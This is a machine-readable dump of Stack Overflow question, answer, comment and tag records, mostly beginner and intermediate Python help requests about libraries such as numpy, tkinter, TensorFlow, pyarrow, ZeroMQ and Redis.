answers question: http://stackoverflow.com/q/49578442
type: Answer
has body: Part of the magic happens outside the loop. Add some debug output help you visualize this. use a smaller matrix like 5x5 and large angulo value make output easier to read: matriz = x+1j*y # create a complex plane print(matriz) matriz =np.angle(matriz)*180/np.pi # convert each point from x/y coordinate to their angle from x-axis print(matriz) for n in range(int(-360/angulo), int(360/angulo)): indice = ((matriz &gt;= n*angulo) &amp; (matriz &lt; (n+1)*angulo)) # select all the points that falls between n*angulo and (n+1)*angulo print(indice) ...

cluster-analysis
tags question: http://stackoverflow.com/q/49588363
tags question: http://stackoverflow.com/q/49504271
tags question: http://stackoverflow.com/q/49488313
tags question: http://stackoverflow.com/q/49441280
tag name: cluster-analysis
tags question: http://stackoverflow.com/q/49586742
tags question: http://stackoverflow.com/q/49495297
type: Tag
tags question: http://stackoverflow.com/q/49498790

http://stackoverflow.com/q/49498884
has title: How can I find relative word frequencies?
has comment: http://stackoverflow.com/comment/86001881
has comment: http://stackoverflow.com/comment/86001834
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/86002031
has comment: http://stackoverflow.com/comment/86001867
linked to: http://stackoverflow.com/q/22428842
has body: Here is the code that I have: for question in questions: print('Processing ' + str( question)) counts = Counter(dataset_final[str(question)]) print(counts) This prints out something like: Processing 1 Counter({'would': 18, 'think': 12, 'patient': 11, 'condition': 11, 'might': 10, 'increased': 1}) Processing 2 Counter({'cancer': 32, 'condition': 22, 'prostate': 20, 'educational': 1}) I want to get the relative word frequency, so I wanted to do something like: for question in questions: print("Processing " + str(question)) counts = Counter(dataset_final[str(question)]) length = len(dataset_final[str(question)]) print(counts/length) But I get an error: TypeError: unsupported operand type(s) for /: 'Counter' and 'int' How can I do that? edit: i meant relative word frequencies, not normalizing
has comment: http://stackoverflow.com/comment/86001955
score: 0
tagged with: python
has answer: http://stackoverflow.com/a/49498993
type: Question
has comment: http://stackoverflow.com/comment/86002048

http://stackoverflow.com/comment/86085053
type: QuestionComment
comment on: http://stackoverflow.com/q/49480776
has text: @Mahesh Everything's fine. Thanks a lot again. I'm new at scraping and was clueless about this problem.
score: 0
type: Comment

http://stackoverflow.com/comment/86176941
comment on: http://stackoverflow.com/q/49584011
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/167914/discussion-between-tarun-lalwani-and-user1330974).
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49540621
tagged with: python
tagged with: php
type: AnsweredQuestion
downvote count: 0
upvote count: 1
score: 1
accepted answer: http://stackoverflow.com/a/49545489
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49545489
has title: How to send individual messages using ZMQ efficiently in both python and php
tagged with: pyzmq
type: Question
tagged with: zeromq
tagged with: sockets
has body: I currently have a PHP function: function sendLocalSocket($message, $port){ $context = new ZMQContext(); $socket = $context-&gt;getSocket(ZMQ::SOCKET_PUSH); $socket-&gt;connect("tcp://127.0.0.1:$port"); $socket-&gt;send($message); } and a python function: def create_local_socket(port, pull=False): context = zmq.Context() if pull: # for receiving socket messages socket = context.socket(zmq.PULL) socket.bind("tcp://127.0.0.1:%d" % port) else: # for sending socket messages socket = context.socket(zmq.PUSH) socket.connect("tcp://127.0.0.1:%d" % port) return socket which then sends a message with create_local_socket(port).send_json() Unfortunately either of these two functions when called in quick succession start to hang dramatically and slow down the rest of my system. I have been thinking of ways to keep the sockets open for the never terminating python script but unfortunately for PHP this is called after a file upload. The problem is that these functions are called arbitrarily - the php script uses the same port each upload but the python script uses different ports (although there is repeated use). I know that the php is hanging because the python ZMQ listener logs the current time - the time the file was uploaded which takes longer and longer until the backlog of uploads dies down. I also know that the listener script is not hanging and takes 0.2 seconds after logging receiving the file. (but that is effectively a back log!) I feel like the answer is to persist these connections. Edit 1: Trying: $context = new ZMQContext(1, true); did not help.

http://stackoverflow.com/a/49487102
answers question: http://stackoverflow.com/q/49480642
type: Answer
has body: You can try insert method : string1 = "This is a piece of text" string2 = "ESTDTDLATPNPZQEPIE" string3=list(string2) for j,i in enumerate(string1): if i==' ': string3.insert(j,' ') print("".join(string3)) outout: ESTD TD L ATPNP ZQ EPIE
score: 0

http://stackoverflow.com/comment/86004531
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49498648
type: QuestionComment
has text: *Python* 2 or 3?

http://stackoverflow.com/q/49515048
score: 0
accepted answer: http://stackoverflow.com/a/49517581
has answer: http://stackoverflow.com/a/49517581
has comment: http://stackoverflow.com/comment/86035204
has body: I'm a new python. I have for loop function gives me a folder contains 100 files "the data inside is numbers and the nuber of raws are the same" like the follow: A_0.20_1_.txt for example A_0.20_1_ B_0.20_1_ B_0.20_1_.txt 1 4 A_0.20_2_.txt 2 5 B_0.20_2_.txt 3 6 A_0.40_1_.txt B_0.40_1_.txt A_0.40_2_.txt B_0.40_2_.txt and so on..... These files saved in a folder named output I need to merge the two files form the output folder into one file like: merged_A_B_0.20_1_.txt for example merged_A_B_0.20_1_ merged_A_B_0.20_2_.txt 1 4 2 5 merged_A_B_0.40_1_.txt 3 6 merged_A_B_0.40_2_.txt and so on..... I tried to use the following code: filename_list = [f for f in os.listdir(r'C:\Users\output\')if os.path.isfile(f)] columns = [] for filename in filename_list: f=open(filename) x = np.array([float(raw) for raw in f.readlines()]) columns.append(x) columns = np.vstack(columns).T np.savetxt('filename_out.txt', columns) But it doesn't work and give me error Traceback (most recent call last): File "&lt;ipython-input-6-5df3067f04e7&gt;", line 1, in &lt;module&gt; runfile('C:/Users/user/Downloads/combine 2 files new2.py', wdir='C:/Users/user/Downloads') File "C:\ProgramData\Anaconda3\lib\site- packages\spyder\utils\site\sitecustomize.py", line 866, in runfile execfile(filename, namespace) File "C:\ProgramData\Anaconda3\lib\site- packages\spyder\utils\site\sitecustomize.py", line 102, in execfile exec(compile(f.read(), filename, 'exec'), namespace) File "C:/Users/user/Downloads/combine 2 files new2.py", line 22, in &lt;module&gt; columns = np.vstack(columns).T File "C:\ProgramData\Anaconda3\lib\site- packages\numpy\core\shape_base.py", line 230, in vstack return _nx.concatenate([atleast_2d(_m) for _m in tup], 0) ValueError: need at least one array to concatenate Please, any help?
type: Question
tagged with: file-handling
tagged with: python-3.x
tagged with: for-loop
has comment: http://stackoverflow.com/comment/86034954
has comment: http://stackoverflow.com/comment/86035403
answer count: 1
tagged with: python
has title: Loop over multiple files to merge according their names
type: AnsweredQuestion

http://stackoverflow.com/comment/86210101
score: 0
type: Comment
has text: @Alasdair vehicles_app:update is the url from the error message, i have shown my update_post view above and template name is update_post.html in which all the updating fields are
type: QuestionComment
comment on: http://stackoverflow.com/q/49592361

http://stackoverflow.com/a/49481435
answers question: http://stackoverflow.com/q/49466965
has body: Apparently M2Crypto (which is where your install process is failing) is kind of hard to install on Windows, but there are unofficial binaries available (though that is a dated question), and the package's own install instructions include a section on Windows installation. More promisingly, there is a clone of the project here, which also has Windows instructions. But for that you'll need to have SWIG installed too. A third option is this pair (32-bit, 64-bit) of packages that are clones of M2Crypto specifically made for Windows, but I'm not sure how up-to-date they are (the last commit was in 2014, so there might have been a lot of changes to the original project by now).
accepted answer of: http://stackoverflow.com/q/49466965
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/q/49547478
has comment: http://stackoverflow.com/comment/86102497
downvote count: 0
has answer: http://stackoverflow.com/a/49547639
possible better answer: http://stackoverflow.com/a/49547639
tagged with: huffman-code
upvote count: 1
has comment: http://stackoverflow.com/comment/86102655
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86102704
has title: Reading bit by bit for Huffman Compression
tagged with: algorithm
tagged with: python
has comment: http://stackoverflow.com/comment/86102670
has answer: http://stackoverflow.com/a/49547912
has body: I'm writing a python program that implements the Huffman Compression. However, it seems that I can only read / write to bin file byte by byte instead of bit by bit. Is there any workaround for this problem? Wouldn't processing byte by byte defeat the purpose of compression since extraneous padding would be needed. Also, it'd be great if someone can enlighten me about the application of Huffman Compression with regards to this byte-by-byte problem. w
accepted answer: http://stackoverflow.com/a/49547912
type: AnsweredQuestion
answer count: 2
score: 1
tagged with: compression

http://stackoverflow.com/q/49530832
score: 1
upvote count: 1
tagged with: virtualenv
has comment: http://stackoverflow.com/comment/86072118
favorite count: 0
type: Question
has body: I have issue with PYTHONPATH while using virtualenv. I have set my PYTHONPATH as below which has python dist-packages are above package of PYTHONPATH value export PYTHONPATH=/opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite:/opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite/PANIC-master:/opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite/fandango-master:/opt/tangoworkspace/CentralNode/GUI/src/:/opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite/PyTangoArchiving:/opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite/fandango-master/user_login:/opt/software/Cdist/python without starting virtual env value of python sys.path is as below: /usr/local/lib/python2.7/dist-packages/phonon-2.0-py2.7.egg /usr/local/lib/python2.7/dist-packages/tornado-4.3-py2.7-linux-x86_64.egg /usr/local/lib/python2.7/dist-packages/redis-2.10.5-py2.7.egg /usr/local/lib/python2.7/dist-packages/backports_abc-0.5-py2.7.egg /usr/local/lib/python2.7/dist-packages/singledispatch-3.4.0.3-py2.7.egg /usr/local/lib/python2.7/dist-packages/backports.ssl_match_hostname-3.5.0.1-py2.7.egg /usr/lib/python2.7/dist-packages /usr/local/lib/python2.7/dist-packages/pip-9.0.1-py2.7.egg /usr/local/lib/python2.7/dist-packages/futures-3.2.0-py2.7.egg /usr/local/lib/python2.7/dist-packages/pytango-9.2.2-py2.7-linux-x86_64.egg /opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite /opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite/PANIC-master /opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite/fandango-master /opt/tangoworkspace/CentralNode/GUI/src /opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite/PyTangoArchiving /opt/tangoworkspace/CentralNode/Alarm/Panic_Alarm_Suite/fandango-master/user_login /opt/software/Cdist/python /usr/lib/python2.7 /usr/lib/python2.7/plat-x86_64-linux-gnu /usr/lib/python2.7/lib-tk /usr/lib/python2.7/lib-old /usr/lib/python2.7/lib-dynload /home/tcs/.local/lib/python2.7/site-packages /usr/local/lib/python2.7/dist-packages /usr/lib/python2.7/dist-packages/PILco…
has comment: http://stackoverflow.com/comment/86072654
has comment: http://stackoverflow.com/comment/86070885
tagged with: python
has comment: http://stackoverflow.com/comment/86072340
answer count: 0
type: UnansweredQuestion
downvote count: 0
has title: PYTHONPATH value in virtualenv

http://stackoverflow.com/comment/86056270
type: QuestionComment
comment on: http://stackoverflow.com/q/49525207
score: 1
type: Comment
has text: What is the question?

http://stackoverflow.com/comment/85949315
comment on: http://stackoverflow.com/q/49473440
type: Comment
type: QuestionComment
has text: Please include all relevant code and the complete error message.
score: 1

http://stackoverflow.com/comment/86077912
comment on: http://stackoverflow.com/q/49512181
has text: Is `${deviceName}` different for two devices with the same OS? Can you show what the value is for `${deviceName}` for each of the devices?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49582103
has title: StackGAN pickle error
has body: I'm trying to get code from this repo running, which means I have to make this get_data function work: def get_data(self, pickle_path, aug_flag=True): with open(pickle_path + self.image_filename, 'rb') as f: images = pickle.load(f) # &lt;--------- THIS line is the problem images = np.array(images) print('images: ', images.shape) # do more things here But it gives me the error ValueError: unsupported pickle protocol: 3 so I found advice here, where they recommend a different protocol: pickle.dump(images, f, protocol=2) def get_data(self, pickle_path, aug_flag=True): with open(pickle_path + self.image_filename, 'rb') as f: pickle.dump(images, f, protocol=2) # still bad images = np.array(images) print('images: ', images.shape) # do more things here However, that gives me the error UnboundLocalError: local variable 'images' referenced before assignment. Is there a way I can fix this, specifically for StackGAN/misc/datasets.py?
has comment: http://stackoverflow.com/comment/86172503
type: UnansweredQuestion
answer count: 1
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/86172501
has answer: http://stackoverflow.com/a/49582344
tagged with: python
linked to: http://stackoverflow.com/q/34571063
type: Question
linked to: http://stackoverflow.com/q/25843698
score: 0

http://stackoverflow.com/comment/85989990
has text: Jupyter notebooks don't run MapReduce either... You need to send your code to a Hadoop cluster. At the moment, all youre doing is iterating lines of a file and changing some columns
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49490288
type: QuestionComment

http://stackoverflow.com/q/49545258
has answer: http://stackoverflow.com/a/49545282
type: AnsweredQuestion
score: 0
answer count: 2
has title: Importing csv file produces an error
possible better answer: http://stackoverflow.com/a/49545282
has body: import csv with open('SalesJan2009.csv') as csvfile: readcsv = csv.reader(csvfile, delimiter =',') print(readcsv) When I run this code I get the following error: Traceback (most recent call last): File "D:/ANIKET/PRACTICE PROGRAMS/python projects/csv.py", line 1, in &lt;module&gt; import csv File "D:\ANIKET\PRACTICE PROGRAMS\python projects\csv.py", line 3, in &lt;module&gt; readcsv = csv.reader(csvfile, delimiter =',') AttributeError: module 'csv' has no attribute 'reader' What should I change?
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49545323
accepted answer: http://stackoverflow.com/a/49545323
linked to: http://stackoverflow.com/q/35341363
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
duplicate of: http://stackoverflow.com/q/35341363

http://stackoverflow.com/q/49492740
has title: Tensorflow InvalidArgumentError: indices[40] = 2000 0 is not in [0, 20000)
accepted answer: http://stackoverflow.com/a/49578771
has answer: http://stackoverflow.com/a/49578771
possible better answer: http://stackoverflow.com/a/49492963
has comment: http://stackoverflow.com/comment/86000516
answer count: 2
score: 2
upvote count: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85992836
downvote count: 0
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/98871027
favorite count: 0
has body: I was runnig this code (https://github.com/monkut/tensorflow_chatbot main code in execute.py) on my Windows7 with python 3.5 and tensorflow r0.12 cpu and an error occured after just 300 steps. Then I tried to change the vocabulary size to 30000 and set a checkpiont every 100 steps. With 1 layer of 128 units the error occured after 3900 steps and with 3 layers of 256 units it occured after 5400 steps. What kind of error is that? Is there a way to solve it? Error: &gt;&gt; Mode : train Preparing data in working_dir/ Creating vocabulary working_dir/vocab20000.enc from data/train.enc processing line 100000 &gt;&gt; Full Vocabulary Size : 45408 &gt;&gt;&gt;&gt; Vocab Truncated to: 20000 Creating vocabulary working_dir/vocab20000.dec from data/train.dec processing line 100000 &gt;&gt; Full Vocabulary Size : 44271 &gt;&gt;&gt;&gt; Vocab Truncated to: 20000 Tokenizing data in data/train.enc tokenizing line 100000 Tokenizing data in data/train.dec tokenizing line 100000 Tokenizing data in data/test.enc Creating 3 layers of 256 units. Created model with fresh parameters. Reading development and training data (limit: 0). reading data line 100000 global step 300 learning rate 0.5000 step-time 3.34 perplexity 377.45 eval: bucket 0 perplexity 96.25 eval: bucket 1 perplexity 210.94 eval: bucket 2 perplexity 267.86 eval: bucket 3 perplexity 365.77 Traceback (most recent call last): File "C:\Python35 64\lib\site-packages\tensorflow\python\client\session.py", l ine 1021, in _do_call return fn(*args) File "C:\Python35 64\lib\site-packages\tensorflow\python\client\session.py", l ine 1003, in _run_fn status, run_metadata) File "C:\Python35 64\lib\contextlib.py", line 66, in __exit__ next(self.gen) File "C:\Python35 64\lib\site-packages\tensorflow\python\framework\errors_impl .py", line 469, in raise_exception_on_not_ok_status pywrap_tensorflow.TF_GetCode(status)) tensorflow.python.framework.errors_impl.InvalidArgumentError: indices[40] = 2000 0 is not in [0, 20000) [[Node: model_with_bu…
type: Question
has answer: http://stackoverflow.com/a/49492963
tagged with: windows
has comment: http://stackoverflow.com/comment/85991133
has comment: http://stackoverflow.com/comment/98775570
tagged with: python
has comment: http://stackoverflow.com/comment/85989049

http://stackoverflow.com/q/49513152
tagged with: pyarrow
type: UnansweredQuestion
has body: Is it possible to read and write parquet files from one folder to another folder in s3 without converting into pandas using pyarrow. Here is my code: import pyarrow.parquet as pq import pyarrow as pa import s3fs s3 = s3fs.S3FileSystem() bucket = 'demo-s3' pd = pq.ParquetDataset('s3://{0}/old'.format(bucket), filesystem=s3).read(nthreads=4).to_pandas() table = pa.Table.from_pandas(pd) pq.write_to_dataset(table, 's3://{0}/new'.format(bucket), filesystem=s3, use_dictionary=True, compression='snappy')
has title: Pyarrow read/write from s3
score: 6
upvote count: 7
has answer: http://stackoverflow.com/a/59681929
downvote count: 1
has answer: http://stackoverflow.com/a/51048038
tagged with: python
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/89086931
answer count: 2

http://stackoverflow.com/comment/86152711
type: QuestionComment
comment on: http://stackoverflow.com/q/49570364
has text: That should be doing the same. Are you sure you are using the same random points? Maybe you change something in between? Numpy arrays are mutable (like lists), so they are 'passed by reference', so be careful with what you change where.
score: 0
type: Comment

unit-testing
tags question: http://stackoverflow.com/q/49447326
tags question: http://stackoverflow.com/q/49579899
tags question: http://stackoverflow.com/q/49543486
type: Tag
tags question: http://stackoverflow.com/q/49495314
tags question: http://stackoverflow.com/q/49506720
tags question: http://stackoverflow.com/q/49511838
tags question: http://stackoverflow.com/q/49456483
tag name: unit-testing
tags question: http://stackoverflow.com/q/49441090
tags question: http://stackoverflow.com/q/49571018
tags question: http://stackoverflow.com/q/49578965
tags question: http://stackoverflow.com/q/49515470
tags question: http://stackoverflow.com/q/49451820
tags question: http://stackoverflow.com/q/49549327
tags question: http://stackoverflow.com/q/49531888
tags question: http://stackoverflow.com/q/49463424
tags question: http://stackoverflow.com/q/49519475
tags question: http://stackoverflow.com/q/49508161
tags question: http://stackoverflow.com/q/49578050
tags question: http://stackoverflow.com/q/49474435
tags question: http://stackoverflow.com/q/49440741

http://stackoverflow.com/a/49475072
upvote count: 2
downvote count: 0
has body: The reason you are getting almost 100% accuracy score is a data leakage, caused by the following line of code: lm.fit(X, y) in the line above you gave your model ALL the data and then you are testing prediction using the subset of data that your model has already seen. This causes very high accuracy score for the already seen data, but usually it performs badly on the unseen data. When do you want / need to fit your model multiple times? If you are getting a new training data and want to improve your model by training it against a new portion of data, then you may want to choose one of regression algorithm, supporting incremental-learning. In this case you will use model.partial_fit() method instead of model.fit()...
type: Answer
answers question: http://stackoverflow.com/q/49466944
score: 2

http://stackoverflow.com/q/49487340
downvote count: 2
tagged with: vectorization
has body: I have this function that I call in a for loop. It is a contact tracing function for a hospital project. Basically, it calculates the distance between the x and y coordinates of two sets of coordinates, patients in this case. The function is as such: def inContact(patientID, patientLng, patientLat, dev, index, _data, mapScale, distance): contact = [] contactX = _data.loc[dev, 'Beacon Longtitude'].tolist() contactY = _data.loc[dev, 'Beacon Latitude'].tolist() latVect = math.fabs(float(patientLng[index]) - float(contactX[index])) * int(mapScale) lngVect = math.fabs(float(patientLat[index]) - float(contactY[index])) * int(mapScale) if latVect &lt; distance and lngVect &lt; distance: contact.append(contactX[index]) contact.append(contactY[index]) return True, contact return False, contact While, the patientLng and patientLat is the same for every iteration, the dev and index changes. I am really confused as to how I may vectorize this code. So far, I think I do not need to send in the dev and index number any more. So do I make the contactX and contactY lists numpy arrays? and then how do I actually check the results one by one later? Will latVect and lngVect immediately become numpy arrays too? Some suggestions would be highly appreciated! P.S. The _data attribute is a pandas dataframe object. Edit: I have shifted this part of the code outside of the function if latVect &lt; distance and lngVect &lt; distance: contact.append(contactX[index]) contact.append(contactY[index]) return True, contact return False, contact The function now looks like this: contactX = np.array(_data.loc[dev, 'Beacon Longtitude'].tolist()) contactY = np.array(_data.loc[dev, 'Beacon Latitude'].tolist()) patientX = np.array(patientLng) patientY = np.array(patientLat) latVect = np.abs(float(patientX) - float(contactX)) * int(mapScale) lngVect = np.abs(float(patientY) - float(contactY)) * int(mapScale) return latVect, lngVect However, now I get the error: only length-1 arrays can be converted to pyt…
score: 0
has title: Python Vectorize Code
has comment: http://stackoverflow.com/comment/86012271
tagged with: python
favorite count: 0
type: Question
tagged with: numpy
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/86011006
type: UnansweredQuestion

http://stackoverflow.com/q/49546592
type: Question
has body: I am learning a bit of tkinter at the moment and have come across a problem I can't seem to solve. I have 1 class (named 'GUI') in which I first declare an object of another class (named 'client') then create a simple tkinter GUI with an entry field in which the user enters an address. I then have a button that when pressed, gets the address and passes it to a function of the client class. This function calls another function from a library, which goes out to an external source (the 'client') and gets the value of a boolean register at that address. Up to here I have working. I now would like to update another entry field in the tkinter GUI with the value of that Boolean register. Here is a code sample: class GUI: def __init__(self, master): device = client() self.master = master #Define size (x,y) and position (top left is 0,0) of window master.geometry("800x400+300+300") #Disable window resize master.resizable(width=False, height=False) #GUI Controls lbl_read_discrete_output = Label(self.master, text="Read boolean register") lbl_read_discrete_output_address = Label(self.master, text="Address:") ent_read_discrete_output_address = Entry(self.master) btn_read_discrete_output_address = Button(self.master, text='READ', command=lambda: device.read_discrete_output(int(ent_read_discrete_output_address.get()))) ent_read_discrete_output_value = Entry(self.master, state='disabled') #GUI Layout lbl_read_discrete_output.grid(column=0, row=6, padx=5, pady=5) lbl_read_discrete_output_address.grid(column=0, row=7, padx=5, pady=5) ent_read_discrete_output_address.grid(column=1, row=7, padx=5, pady=5) btn_read_discrete_output_address.grid(column=2, row=7, padx=5, pady=5) ent_read_discrete_output_value.grid(column=3, row=7, padx=5, pady=5) class client: def __init__(self): pass def read_discrete_output(self, address): data = self._client.read_coils(address-1, 1).bits[0:1] if not data[0]: #Update entry field 'ent_read_discrete_output_value' with "FALSE" else: #Update entry field 'ent…
tagged with: python
has comment: http://stackoverflow.com/comment/86126534
type: AnsweredQuestion
tagged with: tkinter
has comment: http://stackoverflow.com/comment/86106033
accepted answer: http://stackoverflow.com/a/49570521
score: 0
answer count: 1
has title: Tkinter entry insert from another class
has answer: http://stackoverflow.com/a/49570521

http://stackoverflow.com/q/49453053
linked to: http://stackoverflow.com/q/2488457
answer count: 1
linked to: http://stackoverflow.com/q/1373164
has comment: http://stackoverflow.com/comment/85909983
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/85910234
has comment: http://stackoverflow.com/comment/85912993
tagged with: optionmenu
has comment: http://stackoverflow.com/comment/85908925
has title: Tkinter Create OptionMenus With Loop
has comment: http://stackoverflow.com/comment/85908954
tagged with: python
has comment: http://stackoverflow.com/comment/85910459
tagged with: dictionary
has comment: http://stackoverflow.com/comment/85908947
has comment: http://stackoverflow.com/comment/85914935
type: Question
has body: I have created a code to create tkinter OptionMenus with values in a dictionary using a for loop. The code seems to work successfully, with OptionMenus appearing with keywords on a window as desired... import tkinter as tk from tkinter import * class Example: def __init__(self): #Dictionary with categories and their relative keywords self.categorykeywords={"Category 1":["Keyword 1", "Keyword 2", "Keyword 3"], "Category 2":["Keyword A","Keyword B","Keyword C"], "Category 3":["Another Keyword"]} #Dictionary containing the option menus referenced by category name btn_dict={} #Storing tkvar variable for later referencing self.dropdownreference={} #Number to assign to the tkvar name, to make the unique variables for each category i=1 columncounter=0 for category in self.categorykeywords: #Creating a unique variable / name for later reference exec('self.tkvar_' + str(i) + ' = ' + 'StringVar(root)') #Creating OptionMenu with unique variable btn_dict[category] = tk.OptionMenu(root, exec('variable=self.tkvar_'+str(i)), *self.categorykeywords[category]) btn_dict[category].grid(row=0, column=columncounter, padx=1, pady=1) #Storing the variable used for later use self.dropdownreference[category]=exec('variable=self.tkvar_'+str(i)) columncounter+=1 i+=1 root = Tk() my_gui = Example() root.mainloop() However, when they are selected, I receive an error: Traceback (most recent call last): File "c:\users\czuczor\appdata\local\programs\python\python36\lib\tkinter\__init__.py", line 1699, in __call__ return self.func(*args) File "c:\users\czuczor\appdata\local\programs\python\python36\lib\tkinter\__init__.py", line 3434, in __call__ self.__var.set(self.__value) AttributeError: 'NoneType' object has no attribute 'set' I'm guessing it's having trouble actually assigning the variable, or possibly even just displaying the selected keyword. I get the same error when attempting to use ttk.OptionMenu, which automatically displays the first value. Any ideas on how to fix this?
score: 0
has answer: http://stackoverflow.com/a/49453736
tagged with: tkinter
tagged with: for-loop
upvote count: 1
type: UnansweredQuestion

http://stackoverflow.com/comment/86168011
type: QuestionComment
comment on: http://stackoverflow.com/q/49580025
score: 0
has text: How is this different from your [previous question](https://stackoverflow.com/questions/49564874/keep-format-of-float-values)?
type: Comment

http://stackoverflow.com/a/49599460
has comment: http://stackoverflow.com/comment/86206430
has comment: http://stackoverflow.com/comment/86206474
has body: You could let df3 = df1.groupby('SYMBOL').prediction_succesful.aggregate([len, lambda x: (x == 'Y').sum()]) df3.columns = ['no_of_predictions', 'no_of_successful_predictions']
downvote count: 0
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49599188

http://stackoverflow.com/q/49505884
has answer: http://stackoverflow.com/a/49506120
tagged with: lambda
accepted answer: http://stackoverflow.com/a/49506120
upvote count: 4
score: 4
has comment: http://stackoverflow.com/comment/86016214
has comment: http://stackoverflow.com/comment/86016157
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/11109838
tagged with: function
has body: So I don't really know how to explain this so bear with me. Inside a for loop I have a lambda expression but I don't understand why you need the i=i part. def makeActions(): acts = [] for i in range(5): acts.append(lambda x, i=i: x**i) return acts
answer count: 1
downvote count: 0
duplicate of: http://stackoverflow.com/q/11109838
favorite count: 0
type: Question
has title: part of a lambda expression that needs explanation
tagged with: python
has comment: http://stackoverflow.com/comment/86017187
has comment: http://stackoverflow.com/comment/86017144

http://stackoverflow.com/comment/86073777
type: QuestionComment
has text: `encoded_jpg_io1` was created via PIL and numpy and `encoded_jpg_io2` was created via tensorflow. Since these are fairly different pathways I am not surprised that they are different. The link that I gave above suggests that row-major vs column-major is one potential issue in converting a PIL image to a numpy array.
comment on: http://stackoverflow.com/q/49533095
score: 0
type: Comment

http://stackoverflow.com/q/49548527
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has title: How to fetch limited result set from redis database
tagged with: redis
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49602509
has body: I am building a web app in CherryPy with redis as main database, right now I have lot of key values stored in database and I want to display only 10 entries per page. So I just want to know to use sql limit or redis scanin this situation. import redis import json import cherrypy from controllers.base import BaseController con = redis.Redis(host='localhost', port=6379, db=3) class HomeController(BaseController): @cherrypy.expose def index(self): outdata = [] keys = con.keys() for key in keys: dt = con.get(key) dat = dt.decode('utf-8') res = json.loads(dat) outdata.append(res) return self.render_template('home/index.html', {'outdata' : outdata})

http://stackoverflow.com/a/49462185
has comment: http://stackoverflow.com/comment/85967840
type: Answer
answers question: http://stackoverflow.com/q/49459745
has body: Normally the (SSH) servers run as a Windows service. Window services run in a separate Windows session (google for "Session 0 isolation"). They cannot access interactive (user) Windows sessions. Also note that there can be multiple user sessions (multiple logged in users) in Windows. How would the SSH server know, what user session to display the GUI on (even if it could)? The message you are getting is thanks to the "Interactive Services Detection" service that detects that a service is trying to show a GUI on an invisible Session 0 and allows you to replicate the GUI on the user session. You can run the SSH server in an interactive Windows session, instead as a service. It has its limitations though. In general, all this (running GUI application on Windows remotely through SSH) does not look like a good idea to me. Also this question is more about a specific SSH server, rather that about an SSH client you are using. So you you include details about your SSH server, you can get better answers.
score: 0

http://stackoverflow.com/q/49495567
has title: Python - Create a join condition from lists
tagged with: python
accepted answer: http://stackoverflow.com/a/49495659
score: 2
upvote count: 2
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/85995266
has body: I have two lists for two tables with their key columns keycol1 = [col1,col2] keycol2 = [col3,col4] I want to frame a sql query with these two colums as join condition for column1,column2 in zip(keycol1,keycol2): join = "table1."+ column1 + " = " + "table2." + column2 and qry = "select * from table1 join table2 on " + join But this gives me an extra and at the end. How to avoid it? Expected query: select * from table1 join table2 on table1.col1 = table2.col3 and table1.col2 = table2.col4
possible better answer: http://stackoverflow.com/a/49496275
has answer: http://stackoverflow.com/a/49495659
has comment: http://stackoverflow.com/comment/85995395
has answer: http://stackoverflow.com/a/49496275
favorite count: 0
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85995081
has comment: http://stackoverflow.com/comment/85995019

graphics
tag name: graphics
tags question: http://stackoverflow.com/q/49468951
type: Tag

http://stackoverflow.com/q/49495297
has title: Clustering algorithm performance check on un plot able data
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49498696
type: Question
tagged with: cluster-analysis
tagged with: python
score: -1
type: AnsweredQuestion
has body: I am using Kmeans Clustring algorithm from Sci-kit learn library and dimension of my data is 169 and that's why I am unable to visualize the result of clustering. Is there any way to measure the performance of algorithm? Secondly, I have the labels of data and I want to test the learned model with the test dataset but I am not sure the labels Kmeans algo gave to cluster coincide with the labels I have.
upvote count: 0
has comment: http://stackoverflow.com/comment/85995735
has comment: http://stackoverflow.com/comment/86000417
answer count: 1
tagged with: machine-learning
tagged with: hierarchical-clustering
tagged with: scikit-learn
has comment: http://stackoverflow.com/comment/85995765
accepted answer: http://stackoverflow.com/a/49498696

http://stackoverflow.com/q/49472326
has comment: http://stackoverflow.com/comment/85947290
answer count: 1
has comment: http://stackoverflow.com/comment/85965747
has comment: http://stackoverflow.com/comment/85947291
has comment: http://stackoverflow.com/comment/85948864
has body: Sometimes I need to add custom paths to my python scripts to find certain modules, with sys.path.append("/some/directory/") at the beginning. However, I have a bunch of files that need to use this custom path and I'd like to avoid writing this in every file. I have a main python script that automatically runs all these files using subprocess.call("python", "my_script.py"). How could I achieve the equivalent of sys.path.append("/some/directory/") on every file, from the main script?
type: Question
has comment: http://stackoverflow.com/comment/85947270
has title: call python script with custom sys.path
accepted answer: http://stackoverflow.com/a/49472438
has answer: http://stackoverflow.com/a/49472438
tagged with: python
type: AnsweredQuestion
